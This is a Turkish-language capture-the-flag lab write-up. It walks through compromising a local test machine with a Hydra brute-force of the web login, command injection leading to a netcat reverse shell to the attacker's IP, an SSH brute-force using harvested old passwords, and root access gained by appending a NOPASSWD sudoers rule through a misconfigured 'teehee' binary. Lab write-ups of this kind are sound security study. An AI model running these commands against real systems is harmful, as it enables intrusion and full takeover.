Keşif aşamasında yapılan taramalar sonucunda, hedef makinenin (192.168.1.144) 80 numaralı portunda bir web servisinin çalıştığı tespit edilmiştir. Tarayıcı üzerinden bu adrese gidildiğinde, bizi oldukça sade tasarlanmış bir "Admin Information Systems Login" paneli karşılamaktadır.

Yapılan keşif taramaları sonucunda hedef makinenin (192.168.1.144) 80 portunda çalışan web servisi üzerinde bir giriş paneli tespit edilmiştir. Tarayıcı ile erişim sağlandığında karşımıza çıkan "Admin Information Systems Login" sayfası (index.php), sistem yönetim yetkilerine ulaşmak için en temel giriş noktasını oluşturmaktadır. Sayfa üzerinde yapılan teknik incelemeler ve Proxy araçları yardımıyla yakalanan istekler sonucunda, formun kullanıcı adı (username) ve şifre (password) parametrelerini herhangi bir CSRF token veya ek güvenlik katmanı olmaksızın doğrudan POST metoduyla ilettiği gözlemlenmiştir.

Giriş panelinde hatalı deneme sayısını kısıtlayan bir "Account Lockout" mekanizmasının bulunmaması ve bot engellemeye yönelik CAPTCHA gibi korumaların eksikliği, sistemi doğrudan kaba kuvvet (Brute-Force) saldırılarına açık hale getirmektedir.

None
None

Tespit edilen index.php giriş paneli üzerinde yapılan incelemelerde, herhangi bir hesap kilitleme (account lockout) veya hız sınırlaması (rate limiting) bulunmadığı doğrulanmıştır. Bu durum, sayfayı kaba kuvvet saldırılarına karşı tamamen savunmasız bırakmaktadır. Mevcut zafiyeti sömürmek ve yönetim paneline erişim sağlamak amacıyla, ağ protokolleri üzerinde kaba kuvvet saldırıları gerçekleştiren Hydra aracı kullanılmıştır.

Saldırı Parametreleri ve Payload Analizi:

Saldırı sırasında kullanılan http-post-form modülü, üç ana bileşenden oluşan spesifik bir payload yapısına sahiptir:

  1. Hedef Dizin (/login.php): Login isteğinin işlendiği ve form verilerinin gönderildiği uç noktadır.
  2. POST Veri Yapısı (username=admin&password=^PASS^): Formun beklediği parametrelerdir. Burada kullanıcı adı sabit tutulurken (admin), şifre alanı için rockyou.txt wordlist'inden çekilen her kelime ^PASS^ sembolü ile dinamik olarak yer değiştirir.
  3. Başarı Koşulu (S=logout): Hydra'nın bir denemenin başarılı olup olmadığını anlamasını sağlayan kritik göstergedir. Hydra, sunucudan dönen HTTP yanıtının içinde "logout" kelimesini arar. Eğer bu kelime yanıtta mevcutsa, giriş işleminin başarılı olduğu ve kullanıcının yönetim paneline yönlendirildiği (burada genellikle bir çıkış butonu bulunur) sonucuna varır.

Saldırı sırasında kullanılan -V (Verbose) parametresi ile her deneme anlık olarak izlenmiş, -I parametresi ile olası bağlantı hataları göz ardı edilerek sürecin kesintisiz devam etmesi sağlanmıştır.

Saldırı Sonucu:

Gerçekleştirilen kaba kuvvet saldırısı sonucunda, hedef sistemde admin kullanıcısı için geçerli parolanın "happy" olduğu tespit edilmiştir. Bu kimlik bilgileriyle sisteme giriş yapıldıktan sonra, bir sonraki aşama olan Komut Çalıştırma (RCE) ve yetki yükseltme süreçlerine geçiş sağlanmıştır.

None

Kaba kuvvet saldırısı sonucu elde edilen yetkili bilgilerle sisteme giriş yapıldığında, bizi "Run Command" başlıklı bir yönetim arayüzü karşılamaktadır. Bu arayüz, sistem yöneticilerinin sunucu üzerinde belirli bakım işlemlerini web paneli üzerinden yapabilmesi için tasarlanmıştır.

Arayüz Analizi: Sayfa üzerinde üç temel operasyon için radyo butonları (radio buttons) bulunmaktadır:

  • List Files: Mevcut dizindeki dosyaları listeler.
  • Disk Usage: Disk kullanım detaylarını gösterir
  • Disk Free: Boş disk alanını raporlar.
None

Komut enjeksiyonu zafiyetinin varlığı kesinleştikten sonra, hedef sistem üzerinde etkileşimli bir kabuk (interactive shell) elde etmek amacıyla Reverse Shell saldırısı gerçekleştirilmiştir. Bu aşamada saldırgan makine (Kali Linux) üzerinde bir dinleyici (listener) başlatılmış ve hedef makineye bu adrese geri bağlantı kurması için komut gönderilmiştir.

Adım 1: Dinleyicinin Hazırlanması (Kali Linux)

Bağlantıyı yakalamak için Kali makinesi üzerinde Netcat aracı kullanılarak 4444 portu dinlemeye alınmıştır:

nc -lvnp 4444
  • -l (Listen): Dinleme modunu aktif eder.
  • -v Verbose): Bağlantı detaylarını ekrana yazdırır.
  • -n (Numeric): DNS çözümlemesi yapmaz, hızı artırır.
  • -p (Port): Dinlenecek port numarasını belirtir.

Adım 2: Payload Enjeksiyonu ve Tetikleme

Hedef sistemdeki "Run Command" sayfasının kaynak kodu tekrar manipüle edilerek, radyo butonunun value değeri aşağıdaki Netcat payload'u ile değiştirilmiştir:

nc 192.168.1.127 4444 -e /bin/bash

Bu komut, hedef sistemin (192.168.1.144) saldırganın IP adresine (192.168.1.127) bağlanmasını ve bağlantı kurulduğu anda /bin/bash kabuğunu saldırgana teslim etmesini sağlar. "Run" butonuna basılmasıyla birlikte payload tetiklenmiştir.

Adım 3: Bağlantının Sağlanması ve Doğrulama

Payload çalıştırıldığında, Kali terminalindeki Netcat dinleyicisi bağlantıyı başarıyla yakalamıştır. Gelen bağlantı üzerinden yapılan ilk kontrollerde (ls), web sunucusunun ana dizinindeki dosyalar (command.php, login.php vb.) listelenmiş ve sisteme başarılı bir şekilde sızıldığı teyit edilmiştir.

None

Reverse shell bağlantısı sağlandıktan sonra, www-data kullanıcısının sistem üzerindeki yetkilerinin son derece kısıtlı olduğu ve kritik dosyalara erişiminin engellendiği görülmüştür. Bu noktada, sistemde daha yüksek yetkilere sahip kullanıcıları tespit etmek ve bu kullanıcıların haklarını elde etmek amacıyla keşif çalışmaları derinleştirilmiştir.

Kullanıcı Tespiti ve Envanter Çalışması

Sistemdeki yerel kullanıcıları belirlemek için /home dizini incelenmiştir. Yapılan listeleme sonucunda sistemde üç adet fiziksel kullanıcı olduğu tespit edilmiştir:

  • charles
  • jim
  • sam
None

Kimlik Bilgilerinin Elde Edilmesi ve Jim Kullanıcısına Geçiş

www-data kullanıcısı ile sisteme sızıldıktan sonra yapılan ilk kontrollerde, bu kullanıcının sistem üzerindeki yetkilerinin son derece kısıtlı olduğu tespit edilmiştir. Daha yüksek yetkilere sahip bir kullanıcıya geçiş yapabilmek (lateral movement) amacıyla /home dizini incelenmiş; sistemde charles, jim ve sam isimli üç farklı yerel kullanıcının bulunduğu belirlenmiştir.

Hassas Veri Keşfi ve Parola Listesi Hazırlama: Sistem genelinde yapılan dosya taramalarında, Jim kullanıcısının ev dizini altında yer alan /home/jim/backups klasörüne www-data kullanıcısının erişim yetkisi olduğu fark edilmiştir. Bu dizin içerisinde bulunan old-passwords.bak dosyası incelendiğinde, Jim'in geçmişte kullandığı çok sayıda parolanın burada açık metin (cleartext) olarak saklandığı görülmüştür. Bu durum, sızma testlerinde sıkça karşılaşılan "Hassas Bilgi İfşası" (Sensitive Information Disclosure) zafiyetine tipik bir örnektir.

SSH Brute-Force Saldırısı ve Erişim: Elde edilen bu eski parolalar, Jim'in mevcut parolası olma ihtimaline karşı bir wordlist haline getirilmiştir. Parola denemelerini otomatize etmek amacıyla Hydra aracı kullanılarak SSH (Secure Shell) servisine yönelik bir kaba kuvvet saldırısı başlatılmıştır:

None

Saldırı Komutu: hydra -l jim -P oldpassword.txt ssh://192.168.1.144 -V

  • -l jim: Hedef kullanıcı belirlenmiştir.
  • -P oldpassword.txt: Keşfedilen parolalardan oluşturulan liste girdi olarak verilmiştir.
  • -V: Saldırı süreci detaylı modda takip edilmiştir.

Saldırı Sonucu: Yapılan denemeler sonucunda, Jim kullanıcısı için geçerli güncel parolanın "jibril04" olduğu tespit edilmiştir. Bu kimlik bilgileri kullanılarak SSH üzerinden veya terminalde su jim komutuyla Jim kullanıcısının yetkilerine geçiş yapılmış; böylece sistem üzerinde daha geniş bir hareket alanı elde edilmiştir.

Yanal Hareket: Charles Kullanıcısına Erişim ve Mail Analizi

Jim kullanıcısı olarak sistemde yapılan derinlemesine keşif çalışmaları sonucunda, yerel posta kutularının (/var/mail/) standart kullanıcılar tarafından okunabilir olduğu fark edilmiştir. /var/mail/jim dizinindeki "mbox" dosyası incelendiğinde, Charles tarafından Jim'e gönderilen ve kritik bilgiler içeren bir e-posta tespit edilmiştir.

E-posta içeriğinde Charles, tatile çıkacağını belirterek olası acil durumlar için parolasını Jim ile paylaşmıştır. Mesaj içerisinde açık metin (cleartext) olarak yer alan ^xHhA&hvim0y parolası, siber güvenlikte "Hassas Bilgilerin Güvensiz Saklanması" zafiyetinin tipik bir örneğidir. Elde edilen bu kimlik bilgileriyle su charles komutu kullanılarak sistemde Charles kullanıcısının yetkilerine geçiş yapılmıştır.

Dikey Yetki Yükseltme: "teehee" Binary İstismarı ile Root Erişimi

Charles kullanıcısı ile sistemdeki yetkilerimizi kontrol etmek amacıyla çalıştırılan sudo -l komutu, çok kritik bir yanlış yapılandırmayı ortaya çıkarmıştır. Çıktıya göre Charles kullanıcısı, /usr/bin/teehee dosyasını herhangi bir parola gereksinimi duymadan (NOPASSWD) root yetkileriyle çalıştırabilmektedir.

teehee aracı, standart girdi (stdin) üzerinden gelen veriyi hem standart çıktıya hem de belirtilen dosyalara yazan, tee komutuna benzer bir fonksiyona sahiptir. Bu aracın root yetkisiyle çalıştırılabilmesi, sistemdeki herhangi bir dosyaya (hassas sistem dosyaları dahil) veri eklenebileceği anlamına gelmektedir.

Sömürü Süreci (Exploitation): Sistemde tam yetki elde etmek amacıyla, /etc/sudoers.d/charles dosyasına Charles kullanıcısına sınırsız sudo yetkisi veren bir satır eklenmesi hedeflenmiştir. Bu işlem için aşağıdaki komut dizisi kullanılmıştır:

echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo /usr/bin/teehee /etc/sudoers.d/charles

Bu komutla birlikte teehee aracı, Charles için tanımlanan "tüm komutları şifresiz çalıştırma" yetkisini sistemin yetki dosyasına kalıcı olarak yazmıştır. Ardından sudo su komutu çalıştırıldığında, sistem herhangi bir parola sormadan doğrudan root kabuğunu (shell) teslim etmiştir. id komutu ile yapılan doğrulamada uid=0(root) olduğu görülmüş ve hedef makine üzerindeki tam kontrol başarıyla sağlanmıştır.